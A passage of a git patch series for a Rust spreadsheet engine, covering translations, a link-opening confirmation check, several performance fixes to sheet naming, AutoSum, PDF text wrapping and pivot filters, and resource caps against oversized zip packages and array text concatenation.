-418,6 +418,16 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Options|General" => "常规", "Options|Save" => "保存", "Show formula bar" => "显示编辑栏", + "Highlight the active cell's row" => "突出显示活动单元格所在行", + "Display options for this workbook" => "此工作簿的显示选项", + "Show horizontal scroll bar" => "显示水平滚动条", + "Show vertical scroll bar" => "显示垂直滚动条", + "Show sheet tabs" => "显示工作表标签", + "Edit Hyperlink…" => "编辑超链接…", + "Edit Hyperlink" => "编辑超链接", + "Open Hyperlink" => "打开超链接", + "Remove Hyperlink" => "删除超链接", + "Resize formula bar" => "调整编辑栏大小", "Enable AutoComplete for cell values" => "为单元格值启用记忆式键入", "Save .xlsx workbooks automatically after every change" => "每次更改后自动保存 .xlsx 工作簿", "Workbook calculation" => "工作簿计算", From e12b462b907ff967a557b7e418028b536ac250e7 Mon Sep 17 00:00:00 2001 From: Higgs32584 Date: Tue, 3 Nov 2026 10:45:50 -0500 Subject: [PATCH 129/167] Port the link.open confirmation check into the merged insert.rs (#2181) Upstream folded cmd/insert/*.rs back into insert.rs, so the merge left the policy check in a file that is no longer compiled. Restore that file to upstream and apply the check in the live open_link. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/insert.rs | 11 ++++++++--- crates/engine/src/cmd/insert/links.rs | 11 +++-------- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/crates/engine/src/cmd/insert.rs b/crates/engine/src/cmd/insert.rs index e78e80a1b..8e6b826b5 100644 --- a/crates/engine/src/cmd/insert.rs +++ b/crates/engine/src/cmd/insert.rs @@ -1336,9 +1336,11 @@ fn insert_link(s: &mut Session, p: &Json) -> Result { }) } -/// Follows a link: a reference selects it, an `http`/`https`/`mailto` address is handed to the -/// host (`UiRequest::OpenUrl`); anything else is refused ([`crate::links::classify`]). Opens no -/// dialog; the interactive click asks for confirmation first, in the UI. +/// Follows a link: a reference selects it; anything else is refused ([`crate::links::classify`]). +/// An `http`/`https`/`mailto` address is refused too unless the host set +/// [`crate::links::LinkPolicy::Allow`]: every caller of a command may be a script or an agent, so +/// the user opens such links by clicking and confirming, and the UI then calls +/// [`Session::open_confirmed_link`] (#2181). Opens no dialog. fn open_link(s: &mut Session, p: &Json) -> Result { let target = match str_param(p, "url").or_else(|| str_param(p, "target")) { Some(t) => t.to_string(), @@ -1354,6 +1356,9 @@ fn open_link(s: &mut Session, p: &Json) -> Result { match crate::links::classify(&target) { crate::links::LinkKind::Internal(r) => super::edit::go_to(s, &json!({"reference": r.trim_start_matches('#')})), crate::links::LinkKind::External(u) => { + if s.link_policy != crate::links::LinkPolicy::Allow { + return Err(EngineError::Other(crate::links::NEEDS_CONFIRMATION.into())); + } s.ui_requests.push(crate::UiRequest::OpenUrl(u.clone())); Ok(json!({"opened": u})) } diff --git a/crates/engine/src/cmd/insert/links.rs b/crates/engine/src/cmd/insert/links.rs index a20b28678..59a69e6f9 100644 --- a/crates/engine/src/cmd/insert/links.rs +++ b/crates/engine/src/cmd/insert/links.rs @@ -38,11 +38,9 @@ pub(super) fn insert_link(s: &mut Session, p: &Json) -> Result { }) } -/// Follows a link: a reference selects it; anything else is refused ([`crate::links::classify`]). -/// An `http`/`https`/`mailto` address is refused too unless the host set -/// [`crate::links::LinkPolicy::Allow`]: every caller of a command may be a script or an agent, so -/// the user opens such links by clicking and confirming, and the UI then calls -/// [`Session::open_confirmed_link`] (#2181). Opens no dialog. +/// Follows a link: a reference selects it, an `http`/`https`/`mailto` address is handed to the +/// host (`UiRequest::OpenUrl`); anything else is refused ([`crate::links::classify`]). Opens no +/// dialog; the interactive click asks for confirmation first, in the UI. pub(super) fn open_link(s: &mut Session, p: &Json) -> Result { let target = match str_param(p, "url").or_else(|| str_param(p, "target")) { Some(t) => t.to_string(), @@ -58,9 +56,6 @@ pub(super) fn open_link(s: &mut Session, p: &Json) -> Result { match crate::links::classify(&target) { crate::links::LinkKind::Internal(r) => crate::cmd::edit::go_to(s, &json!({"reference": r.trim_start_matches('#')})), crate::links::LinkKind::External(u) => { - if s.link_policy != crate::links::LinkPolicy::Allow { - return Err(EngineError::Other(crate::links::NEEDS_CONFIRMATION.into())); - } s.ui_requests.push(crate::UiRequest::OpenUrl(u.clone())); Ok(json!({"opened": u})) } From df137b8ee8cd68503681f759f59b4e30b2e0b048 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 10:53:20 -0500 Subject: [PATCH 130/167] xlsx: repair repeated sheet names through a set of assigned names (#3211) Importing a workbook whose sheets share a name rescanned every sheet for every suffix tried, so a file of repeated names opened in cubic time. SheetNames keeps the assigned names and the next suffix per stem. --- crates/xlsx/src/ods.rs | 2 +- crates/xlsx/src/read.rs | 47 +++++++++++++++++++++++----- crates/xlsx/src/tests/sheet_names.rs | 14 +++++++++ 3 files changed, 54 insertions(+), 9 deletions(-) diff --git a/crates/xlsx/src/ods.rs b/crates/xlsx/src/ods.rs index 8415ce395..9b7f0743b 100644 --- a/crates/xlsx/src/ods.rs +++ b/crates/xlsx/src/ods.rs @@ -317,7 +317,7 @@ impl Import { return Err(IoError::TooLarge("ODS contains more than 1024 sheets".into())); } let original = attr(reader, e, TABLE, b"name")?.unwrap_or_default(); - let mut name = crate::read::unique_name(&self.wb, original.trim_matches('\''), self.wb.sheets.len()); + let mut name = crate::read::SheetNames::of(&self.wb).unique(original.trim_matches('\''), self.wb.sheets.len()); if self.wb.check_sheet_name(&name, None).is_err() { name = self.wb.next_sheet_name(); } diff --git a/crates/xlsx/src/read.rs b/crates/xlsx/src/read.rs index 47aaeaa5d..32b87183f 100644 --- a/crates/xlsx/src/read.rs +++ b/crates/xlsx/src/read.rs @@ -1,5 +1,6 @@ //! Reading the workbook part and everything hanging off it. +use std::collections::{HashMap, HashSet}; use std::sync::Arc; use gridcraft_core::{DateSystem, RangeRef}; @@ -306,6 +307,7 @@ pub fn read_xlsx<'a>(bytes: &'a [u8], known_function: Option<&'a dyn Fn(&str) -> let mut file_to_model: Vec> = vec![]; let mut pivot_caches = crate::pivot::CachesIn::new(&wb_xml, &wb_rels); let sheet_els: Vec = wb_xml.child("sheets").map(|s| s.kids("sheet").cloned().collect()).unwrap_or_default(); + let mut names = SheetNames::default(); for (i, se) in sheet_els.iter().enumerate() { let name = se.attr("name").unwrap_or("").to_string(); let rel = se.attr("id").and_then(|id| wb_rels.iter().find(|r| r.id == id)).cloned(); @@ -324,7 +326,7 @@ pub fn read_xlsx<'a>(bytes: &'a [u8], known_function: Option<&'a dyn Fn(&str) -> file_to_model.push(None); continue; } - let name = unique_name(&wb, &name, i); + let name = names.unique(&name, i); let mut sheet = match crate::sheet_read::read_sheet(&mut cx, &rel.target, &name) { Ok(s) => s, Err(IoError::TooLarge(m)) => return Err(IoError::TooLarge(m)), @@ -457,15 +459,44 @@ pub fn read_xlsx<'a>(bytes: &'a [u8], known_function: Option<&'a dyn Fn(&str) -> Ok((wb, cx.report)) } -pub(crate) fn unique_name(wb: &Workbook, name: &str, i: usize) -> String { - let mut base: String = name.chars().filter(|c| !matches!(c, ':' | '\\' | '/' | '?' | '*' | '[' | ']')).take(31).collect(); - if base.trim().is_empty() { - base = format!("Sheet{}", i + 1); +/// The sheet names an import has assigned so far, for repairing repeated ones. +#[derive(Default)] +pub(crate) struct SheetNames { + /// Assigned names, ASCII-lowercased. + taken: HashSet, + /// For each lowercased stem, the next suffix to try: a file full of repeated names would + /// otherwise retry every occupied suffix for every sheet. + next: HashMap, +} + +impl SheetNames { + pub(crate) fn of(wb: &Workbook) -> Self { + SheetNames { taken: wb.sheets.iter().map(|s| s.name.to_ascii_lowercase()).collect(), next: HashMap::new() } } - if wb.sheet_index(&base).is_none() { - return base; + + /// A valid name for the i-th sheet, unique among the names assigned so far, which it joins. + pub(crate) fn unique(&mut self, name: &str, i: usize) -> String { + let mut base: String = name.chars().filter(|c| !matches!(c, ':' | '\\' | '/' | '?' | '*' | '[' | ']')).take(31).collect(); + if base.trim().is_empty() { + base = format!("Sheet{}", i + 1); + } + let name = if self.taken.contains(&base.to_ascii_lowercase()) { + let stem: String = base.chars().take(25).collect(); + let next = self.next.entry(stem.to_ascii_lowercase()).or_insert(2); + let found = (*next..).find(|n| !self.taken.contains(&format!("{stem} ({n})").to_ascii_lowercase())); + match found { + Some(n) => { + *next = n + 1; + format!("{stem} ({n})") + } + None => base, + } + } else { + base + }; + self.taken.insert(name.to_ascii_lowercase()); + name } - (2..).map(|n| format!("{} ({n})", base.chars().take(25).collect::())).find(|n| wb.sheet_index(n).is_none()).unwrap_or(base) } /// Strips a sheet qualifier (`'My Sheet'!$A$1` → `$A$1`). diff --git a/crates/xlsx/src/tests/sheet_names.rs b/crates/xlsx/src/tests/sheet_names.rs index ed1e49e57..37a8b90f7 100644 --- a/crates/xlsx/src/tests/sheet_names.rs +++ b/crates/xlsx/src/tests/sheet_names.rs @@ -35,3 +35,17 @@ fn sheet_ids_survive_a_save() { let (again, _) = crate::read_xlsx(&write_xlsx(&read).unwrap()).unwrap(); assert_eq!(again.sheets.iter().map(|s| s.file_id).collect::>(), ids); } + +/// Repairing repeated names takes one set lookup per candidate, so thousands of sheets sharing +/// a name are renamed without rescanning the workbook for every suffix tried. +#[test] +fn repeated_sheet_names_are_repaired_without_rescans() { + let mut names = crate::read::SheetNames::default(); + assert_eq!(names.unique("Data", 0), "Data"); + assert_eq!(names.unique("data", 1), "data (2)"); + assert_eq!(names.unique("", 2), "Sheet3"); + assert_eq!(names.unique("Data (3)", 3), "Data (3)"); + for i in 4..100_000 { + assert_eq!(names.unique("Data", i), format!("Data ({i})")); + } +} From 1ff10df55756d3823bcf91e3d3fc31462b6276b4 Mon Sep 17 00:00:00 2001 From: vangel76 Date: Tue, 3 Nov 2026 20:56:00 +0100 Subject: [PATCH 131/167] fix(autosum): stop the guessed range at a blank cell (#3291) The single-cell AutoSum guess stepped over one blank cell when a number sat above it, so a second block of numbers below a gap was summed together with the first block. It now stops at the first non-number, as Excel does. Co-Authored-By: Claude Sonnet 5.5 --- crates/engine/src/cmd/formulas.rs | 5 +---- crates/engine/src/tests.rs | 13 +++++++++++++ 2 files changed, 14 insertions(+), 4 deletions(-) diff --git a/crates/engine/src/cmd/formulas.rs b/crates/engine/src/cmd/formulas.rs index d72f814a1..b38571d64 100644 --- a/crates/engine/src/cmd/formulas.rs +++ b/crates/engine/src/cmd/formulas.rs @@ -179,10 +179,7 @@ fn guessed_range(sh: &gridcraft_model::sheet::Sheet, at: CellRef) -> Option 0 && (numeric(CellRef::new(at.row - 1, at.col)) || at.col == 0 || !numeric(CellRef::new(at.row, at.col - 1))) { let mut top = at.row - 1; - while top > 0 - && (numeric(CellRef::new(top - 1, at.col)) - || sh.value(CellRef::new(top - 1, at.col)).is_empty() && top > 1 && numeric(CellRef::new(top - 2, at.col))) - { + while top > 0 && numeric(CellRef::new(top - 1, at.col)) { top -= 1; } if numeric(CellRef::new(at.row - 1, at.col)) { diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index fe42b6977..0fccb81e1 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -2067,6 +2067,19 @@ fn formula_at(s: &Session, a: &str) -> Option { s.doc().unwrap().wb.active().unwrap().cell(CellRef::parse(a).unwrap()).and_then(|c| c.formula.as_ref().map(|f| f.text.clone())) } +#[test] +fn autosum_of_a_single_cell_stops_at_a_blank_cell() { + // #3291: a blank row between two blocks of numbers ended the guess one block too late, so the + // second total summed the first block (and its total) as well. + let mut s = s(); + s.execute("range.setValues", json!({"range": "B4", "values": [[1], [2], [3]]})).unwrap(); + s.execute("cell.set", json!({"cell": "B7", "input": "=SUM(B4:B6)"})).unwrap(); + s.execute("range.setValues", json!({"range": "B9", "values": [[10], [20]]})).unwrap(); + s.execute("selection.set", json!({"cell": "B11"})).unwrap(); + s.execute("formulas.autoSum", json!({})).unwrap(); + assert_eq!(v(&s, "B11"), Value::Number(30.0)); +} + #[test] fn autosum_over_a_row_totals_it_to_the_right() { // As in Excel: a row selected and AutoSum puts one total to its right, not a one-cell total From a30522928729068a56013c7a84950b31a79c6b11 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 16:11:47 -0500 Subject: [PATCH 132/167] PDF export: wrap text with running widths (#3208) wrap_lines split an over-long word by re-measuring and copying the rest of the word for every piece it cut, and only checked its line limit once the word was done, so one long word in a narrow text box cost word length x pieces. Each new word also re-measured the whole line built so far. Line and piece widths are now running sums of glyph widths (the same sum text_width makes), so every character is measured once, and the line limit is checked while a word is being split. The lines produced are unchanged; a test compares them with the old wrapper. --- crates/engine/src/cmd/print/tests.rs | 73 ++++++++++++++++++++++++++++ crates/engine/src/cmd/print/text.rs | 63 +++++++++++++++--------- 2 files changed, 112 insertions(+), 24 deletions(-) diff --git a/crates/engine/src/cmd/print/tests.rs b/crates/engine/src/cmd/print/tests.rs index cd25606b9..26fca1937 100644 --- a/crates/engine/src/cmd/print/tests.rs +++ b/crates/engine/src/cmd/print/tests.rs @@ -695,6 +695,79 @@ fn bands_unit() { assert!(w.len() > 2); } +/// The wrapper `wrap_lines` replaced, re-measuring strings, as the reference for its lines. +fn wrap_lines_remeasuring(text: &str, font: Font, size: f32, width: f32) -> Vec { + let mut out = Vec::new(); + for para in text.split('\n') { + let mut line = String::new(); + for word in para.split(' ') { + let cand = if line.is_empty() { word.to_string() } else { format!("{line} {word}") }; + if line.is_empty() || gridcraft_pdf::text_width(font, size, &cand) <= width { + line = cand; + } else { + out.push(std::mem::take(&mut line)); + line = word.to_string(); + } + while gridcraft_pdf::text_width(font, size, &line) > width && line.chars().count() > 1 { + let chars: Vec = line.chars().collect(); + let (mut lo, mut hi) = (1usize, chars.len()); + while lo < hi { + let mid = lo + (hi - lo).div_ceil(2); + let cut: String = chars[..mid].iter().collect(); + if gridcraft_pdf::text_width(font, size, &cut) <= width { + lo = mid; + } else { + hi = mid - 1; + } + } + if lo == chars.len() { + break; + } + out.push(chars[..lo].iter().collect()); + line = chars[lo..].iter().collect(); + } + if out.len() > 2000 { + return out; + } + } + out.push(line); + } + out +} + +#[test] +fn wrap_lines_matches_the_remeasuring_wrapper() { + let texts = [ + "the quick brown fox jumps", + "Supercalifragilistic", + "a b c\n\nverylongwordthatneedsbreaking short\nend ", + "Wide WWWWWWWWWW words, iiiiiiii narrow ones; mixed MMMMiiiiMMMM", + "€ ü ß — unicode Ünïcödé text", + "", + " ", + ]; + for text in texts { + for font in [Font::Helvetica, Font::HelveticaBold, Font::Courier] { + for (size, width) in [(10.0, 50.0), (10.0, 20.0), (11.0, 1.0), (8.0, 300.0), (12.0, 0.0)] { + assert_eq!(wrap_lines(text, font, size, width), wrap_lines_remeasuring(text, font, size, width), "{text:?} {font:?} {size} {width}"); + } + } + } +} + +#[test] +fn wrapping_a_long_word_in_a_narrow_box_stops_at_the_line_limit() { + // One character per line: the old wrapper re-measured and copied the rest of the word for + // each of the 100,000 lines before checking the limit. + let word = "w".repeat(100_000); + let lines = wrap_lines(&word, Font::Helvetica, 10.0, 1.0); + assert!(lines.len() <= 2002, "{}", lines.len()); + assert!(lines.iter().all(|l| l == "w")); + // A long paragraph in a very wide box is one line. + let para = vec!["word"; 50_000].join(" "); + assert_eq!(wrap_lines(¶, Font::Helvetica, 10.0, 1.0e9), vec![para.clone()]); +} + #[test] fn center_across_spans_following_empty_center_across_cells() { let mut styles = StyleTable::default(); diff --git a/crates/engine/src/cmd/print/text.rs b/crates/engine/src/cmd/print/text.rs index 6f71699ce..0523aa4ff 100644 --- a/crates/engine/src/cmd/print/text.rs +++ b/crates/engine/src/cmd/print/text.rs @@ -3,42 +3,57 @@ use super::{CellRef, Color, Font, HAlign, MAX_COLS, Page, Point, RangeRef, Sheet const PAD_PX: f32 = 2.0; +/// Most lines [`wrap_lines`] returns (it may return one more, the rest of a paragraph). +const MAX_WRAP_LINES: usize = 2000; + /// Word-wraps `text` to `width` points. +/// +/// Widths are kept as running sums of glyph widths (the sum `text_width` makes), so each +/// character is measured once: re-measuring the line for every word, or the rest of an +/// over-long word for every piece cut from it, made a long paragraph or word quadratic. pub(super) fn wrap_lines(text: &str, font: Font, size: f32, width: f32) -> Vec { + let units_of = |s: &str| -> u64 { s.chars().map(|c| u64::from(font.char_width(c))).sum() }; + let fits = |units: u64| units as f32 * size / 1000.0 <= width; + let space = units_of(" "); let mut out = Vec::new(); for para in text.split('\n') { let mut line = String::new(); + let mut line_units: u64 = 0; for word in para.split(' ') { - let cand = if line.is_empty() { word.to_string() } else { format!("{line} {word}") }; - if line.is_empty() || gridcraft_pdf::text_width(font, size, &cand) <= width { - line = cand; + let word_units = units_of(word); + if line.is_empty() { + line.push_str(word); + line_units = word_units; + } else if fits(line_units + space + word_units) { + line.push(' '); + line.push_str(word); + line_units += space + word_units; } else { out.push(std::mem::take(&mut line)); - line = word.to_string(); + line.push_str(word); + line_units = word_units; } - // Break a single over-long word by characters. The cut that fits is found by binary - // search (each try measures one candidate prefix), so an over-long word costs - // O(n log n) measurements instead of re-measuring the whole cut per character for - // every emitted line (`a` × 100k pasted text would be cubic worst case). - while gridcraft_pdf::text_width(font, size, &line) > width && line.chars().count() > 1 { - let chars: Vec = line.chars().collect(); - let (mut lo, mut hi) = (1usize, chars.len()); - while lo < hi { - let mid = lo + (hi - lo).div_ceil(2); - let cut: String = chars[..mid].iter().collect(); - if gridcraft_pdf::text_width(font, size, &cut) <= width { - lo = mid; - } else { - hi = mid - 1; + // Break a single over-long word by characters: each piece is the longest that fits + // (at least one character). + if !fits(line_units) && line.chars().nth(1).is_some() { + let mut piece = String::new(); + let mut units: u64 = 0; + for c in line.chars() { + let w = u64::from(font.char_width(c)); + if !piece.is_empty() && !fits(units + w) { + out.push(std::mem::take(&mut piece)); + units = 0; + if out.len() > MAX_WRAP_LINES { + return out; + } } + piece.push(c); + units += w; } - if lo == chars.len() { - break; - } - out.push(chars[..lo].iter().collect()); - line = chars[lo..].iter().collect(); + line = piece; + line_units = units; } - if out.len() > 2000 { + if out.len() > MAX_WRAP_LINES { return out; } } From 014f030a15d586ddc0ff5d775fa51991cabb8907 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 18:10:48 -0500 Subject: [PATCH 133/167] engine: PivotTable filters test each record against a set of selected labels (#3279) Every source record scanned the filter's whole selection, so a large selection multiplied by many records was slow even when nothing passed. Each filter's labels are lowercased into a set once per computation. --- crates/engine/src/cmd/pivot/tests.rs | 13 +++++++++++++ crates/engine/src/pivot/compute.rs | 11 ++++++++--- 2 files changed, 21 insertions(+), 3 deletions(-) diff --git a/crates/engine/src/cmd/pivot/tests.rs b/crates/engine/src/cmd/pivot/tests.rs index 308d30f4a..3748d0705 100644 --- a/crates/engine/src/cmd/pivot/tests.rs +++ b/crates/engine/src/cmd/pivot/tests.rs @@ -168,6 +168,19 @@ fn filters_and_report_filter_rows() { assert!(s.execute("pivot.filter", json!({"field": "Product", "selected": []})).is_err()); } +/// A selection of the most labels allowed (100,000) is looked up once per record, not scanned: the +/// report still filters case-insensitively. +#[test] +fn a_huge_filter_selection_is_matched_through_a_set() { + let mut s = sales(); + s.execute("insert.pivotTable", json!({"rows": ["Product"], "values": ["Sales"], "filters": ["Region"]})).unwrap(); + let mut selected: Vec = (0..99_999).map(|i| format!("Region {i}")).collect(); + selected.push("EAST".into()); + s.execute("pivot.filter", json!({"field": "Region", "selected": selected})).unwrap(); + let gt = find_row(&s, "Grand Total").unwrap(); + assert_eq!(val(&s, &CellRef::new(gt, 1).a1()), Value::Number(415.0)); +} + #[test] fn show_values_as() { let mut s = sales(); diff --git a/crates/engine/src/pivot/compute.rs b/crates/engine/src/pivot/compute.rs index 0ffa8cae5..90e81408d 100644 --- a/crates/engine/src/pivot/compute.rs +++ b/crates/engine/src/pivot/compute.rs @@ -77,6 +77,8 @@ struct AggregateInput<'a> { extra: &'a [usize], filters: &'a [(usize, &'a PivotFilter, PivotDateGroup, bool)], filter_fmts: &'a [String], + /// Each filter's selected labels, ASCII-lowercased, so a record's test is one probe. + filter_sets: &'a [Option>], row_fmts: &'a [String], col_fmts: &'a [String], empty: bool, @@ -99,10 +101,10 @@ fn aggregate_record( ri: usize, rec: &[Value], ) -> Result<(), String> { - for ((c, field, group, _), fmt) in input.filters.iter().zip(input.filter_fmts) { - if let Some(selected) = &field.selected { + for (((c, _, group, _), fmt), selected) in input.filters.iter().zip(input.filter_fmts).zip(input.filter_sets) { + if let Some(selected) = selected { let label = item_label(input.wb, rec.get(*c).unwrap_or(&Value::Empty), *group, fmt); - if !selected.iter().any(|value| value.eq_ignore_ascii_case(&label)) { + if !selected.contains(&label.to_ascii_lowercase()) { return Ok(()); } } @@ -475,6 +477,8 @@ pub(super) fn compute_from(wb: &Workbook, pt: &PivotTable, src: &Source, mut pro // ---- aggregate let filter_fmts: Vec = filters.iter().map(|f| fmt_of(f.0)).collect(); + let filter_sets: Vec>> = + filters.iter().map(|(_, field, _, _)| field.selected.as_ref().map(|s| s.iter().map(|v| v.to_ascii_lowercase()).collect())).collect(); let row_fmts: Vec = rows.iter().map(|(c, _)| fmt_of(*c)).collect(); let col_fmts: Vec = cols.iter().map(|(c, _)| fmt_of(*c)).collect(); let aggregate = aggregate_source( @@ -488,6 +492,7 @@ pub(super) fn compute_from(wb: &Workbook, pt: &PivotTable, src: &Source, mut pro extra: &extra, filters: &filters, filter_fmts: &filter_fmts, + filter_sets: &filter_sets, row_fmts: &row_fmts, col_fmts: &col_fmts, empty, From b3a709f314ef7203959f23a121836868342451aa Mon Sep 17 00:00:00 2001 From: vangel76 Date: Wed, 4 Nov 2026 02:12:09 +0100 Subject: [PATCH 134/167] contributors: set names for vangel76 Co-Authored-By: Claude Sonnet 5.5 --- contributors/people.toml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/contributors/people.toml b/contributors/people.toml index 00f6ce76a..1b8bcf996 100644 --- a/contributors/people.toml +++ b/contributors/people.toml @@ -33,7 +33,8 @@ sync_github_name = false [people.vangel76] real_name = "Valentin Klein" -sync_github_name = true +display_name = "vangel76" +sync_github_name = false [people.MacJedi42] sync_github_name = true From 74111e5a9335011e2fe029866512054b1d841cd6 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:50:40 -0500 Subject: [PATCH 135/167] check: charge relationship parts to the package's decompression budget (#3185) * check: charge relationship parts to the package's decompression budget * address review: charge bytes read before a package part decompression error --- apps/gridcraft-cli/src/check/package.rs | 78 ++++++++++++++++++++++++- 1 file changed, 75 insertions(+), 3 deletions(-) diff --git a/apps/gridcraft-cli/src/check/package.rs b/apps/gridcraft-cli/src/check/package.rs index 6b97fa495..c0def7037 100644 --- a/apps/gridcraft-cli/src/check/package.rs +++ b/apps/gridcraft-cli/src/check/package.rs @@ -6,6 +6,10 @@ const MAX_XML_PART: u64 = 64 * 1024 * 1024; /// Most zip entries looked at while validating a written package. const MAX_ENTRIES: usize = 200_000; +/// Decompressed bytes that comparing one package's relationship kinds may read in total: the +/// relationship parts themselves and the targets whose content is checked. +const RELATIONSHIP_BUDGET: u64 = 512 * 1024 * 1024; + /// Relationship kinds (lower case) whose absence after a save isn't a loss: the calculation chain is /// a cache Excel rebuilds, and GridCraft never writes it. pub(super) const REBUILT_KINDS: [&str; 1] = ["calcchain"]; @@ -117,6 +121,30 @@ fn read_zip_part(zip: &mut Zip<'_>, name: &str) -> Result, String> { Ok(buf) } +enum PartError { + /// Reading the part would spend more than the remaining budget. + OverBudget, + Unreadable, +} + +/// Reads a part like [`read_zip_part`], charging the decompressed bytes to `budget`. +fn read_zip_part_within(zip: &mut Zip<'_>, name: &str, budget: &mut u64) -> Result, PartError> { + let f = zip.by_name(name).map_err(|_| PartError::Unreadable)?; + // One byte past what is left shows that the part doesn't fit. + let limit = MAX_XML_PART.min(budget.saturating_add(1)); + let mut buf = Vec::new(); + // Bytes read before a decompression error still count against the budget. + let res = f.take(limit).read_to_end(&mut buf); + let read = buf.len() as u64; + if read > *budget { + *budget = 0; + return Err(PartError::OverBudget); + } + *budget -= read; + res.map_err(|_| PartError::Unreadable)?; + Ok(buf) +} + /// Whether the producer flagged its cached results as stale with ``: /// libraries that don't calculate write it, and store 0 or nothing as every formula's value. pub(super) fn full_calc_on_load(bytes: &[u8]) -> bool { @@ -232,19 +260,30 @@ pub fn validate_package(bytes: &[u8]) -> Result, String> { /// nothing are left out, as a save may rightly drop them: a link to a place in the workbook /// (`#Sheet1!A1`, written as a cell's `location`) and a target part with nothing in it. pub(super) fn relationship_kinds(bytes: &[u8]) -> Result, String> { + relationship_kinds_within(bytes, RELATIONSHIP_BUDGET) +} + +/// [`relationship_kinds`] reading at most `budget` decompressed bytes. `Err` once the relationship +/// parts alone need more: their kinds can't be listed completely. +fn relationship_kinds_within(bytes: &[u8], mut budget: u64) -> Result, String> { let mut zip = zip::ZipArchive::new(Cursor::new(bytes)).map_err(|e| format!("not a zip package: {e}"))?; let names = zip_names(&mut zip); let by_key: HashMap = names.iter().map(|n| (part_key(n), n)).collect(); // Several relationships name the same part; each fresh check decompressed it again, so // repeated references to one highly compressible part multiplied the work. The verdict is // remembered per (part, named content) and the decompression the package can cause is - // budgeted as a whole (finding: repeated decompression). + // budgeted as a whole, the relationship parts included: many large, unreferenced rels parts + // would otherwise each spend a full per-part allowance. let mut verdicts: HashMap<(String, &'static str), bool> = HashMap::new(); - let mut budget: u64 = 512 * 1024 * 1024; let mut kinds = BTreeMap::new(); for n in names.iter().filter(|n| part_key(n).ends_with(".rels")) { let Some(src_dir) = rels_source_dir(&part_key(n)) else { continue }; - let Ok(els) = read_zip_part(&mut zip, n).and_then(|xml| xml_elements(&xml)) else { continue }; + let xml = match read_zip_part_within(&mut zip, n, &mut budget) { + Ok(xml) => xml, + Err(PartError::OverBudget) => return Err(format!("{n}: relationship check stopped at its decompression limit")), + Err(PartError::Unreadable) => continue, + }; + let Ok(els) = xml_elements(&xml) else { continue }; for (_, attrs) in els.iter().filter(|(el, _)| el == "Relationship") { let Some(kind) = attr(attrs, "Type").and_then(|t| t.rsplit('/').next()) else { continue }; let target = attr(attrs, "Target").unwrap_or(""); @@ -329,3 +368,36 @@ fn holds_something_uncached(zip: &mut Zip<'_>, name: &str, marker: &'static str, buf.clear(); } } + +#[cfg(test)] +mod tests { + use std::io::Write as _; + + use super::*; + + /// A package with `count` relationship parts of `size` bytes each, none of them describing an + /// existing part. + fn many_rels(count: usize, size: usize) -> Vec { + let mut z = zip::ZipWriter::new(Cursor::new(Vec::new())); + let opts = zip::write::SimpleFileOptions::default().compression_method(zip::CompressionMethod::Deflated); + let head = r#""#; + let tail = ""; + let filler = " ".repeat(size.saturating_sub(head.len() + tail.len())); + for i in 0..count { + z.start_file(format!("xl/_rels/part{i}.xml.rels"), opts).unwrap(); + z.write_all(head.as_bytes()).unwrap(); + z.write_all(filler.as_bytes()).unwrap(); + z.write_all(tail.as_bytes()).unwrap(); + } + z.finish().unwrap().into_inner() + } + + #[test] + fn relationship_parts_count_against_the_decompression_budget() { + // Each part fits the per-part allowance, but together they need more than the budget. + let bytes = many_rels(8, 64 * 1024); + assert!(relationship_kinds_within(&bytes, 256 * 1024).is_err()); + let kinds = relationship_kinds_within(&bytes, 1024 * 1024).unwrap(); + assert_eq!(kinds.get("custom").map(String::as_str), Some("custom")); + } +} From c0ea297615c8a48f20797e7204541d1cf29dc8bc Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:51:11 -0500 Subject: [PATCH 136/167] calc: cap the text one & over arrays may build in all (#3189) * calc: cap the text one & over arrays may build in all * address review: concatenation over arrays stops at the byte budget without reserving the whole broadcast --- crates/calc/src/eval/array.rs | 80 ++++++++++++++++++++++++++++++++++- 1 file changed, 79 insertions(+), 1 deletion(-) diff --git a/crates/calc/src/eval/array.rs b/crates/calc/src/eval/array.rs index 67662c83c..39a6e0f53 100644 --- a/crates/calc/src/eval/array.rs +++ b/crates/calc/src/eval/array.rs @@ -86,6 +86,30 @@ pub fn zip2(a: &Value, b: &Value, f: impl Fn(&Value, &Value) -> Value) -> Value } } +/// [`zip2`] that stops at the first cell `f` refuses (`None`), before the rest is built: the +/// result grows as cells are made rather than being reserved for the whole broadcast up front. +fn try_zip2(a: &Value, b: &Value, mut f: impl FnMut(&Value, &Value) -> Option) -> Option { + Some(match (a, b) { + (Value::Array(x), Value::Array(y)) => { + let rows = broadcast_dim(x.rows, y.rows); + let cols = broadcast_dim(x.cols, y.cols); + if broadcast_len(rows, cols).is_none() { + return Some(Value::Error(CellError::Num)); + } + let mut data = Vec::new(); + for r in 0..rows { + for c in 0..cols { + data.push(f(&x.get_broadcast(r, c), &y.get_broadcast(r, c))?); + } + } + Value::from(Array { rows, cols, data }) + } + (Value::Array(x), s) => Value::from(Array { rows: x.rows, cols: x.cols, data: x.data.iter().map(|v| f(v, s)).collect::>()? }), + (s, Value::Array(y)) => Value::from(Array { rows: y.rows, cols: y.cols, data: y.data.iter().map(|v| f(s, v)).collect::>()? }), + (x, y) => f(x, y)?, + }) +} + /// Cell count of a `rows`×`cols` broadcast result, or `None` when it would exceed [`MAX_CELLS`]. /// Each operand passes its own size cap, but their broadcast product can be far larger /// (`SEQUENCE(1048576)*SEQUENCE(1,16384)` is 17 billion cells), so it is checked before allocating. @@ -135,10 +159,36 @@ pub(super) fn single(v: Value) -> Option { } } +/// Text bytes that one `&` over arrays may produce in all. Each piece is capped on its own, but a +/// compact formula can broadcast a long text across millions of cells +/// (`SEQUENCE(4000,4000)&REPT("x",30000)` is 480 GB): past this the whole result is `#NUM!`, the +/// error for a result too large to hold, before the rest 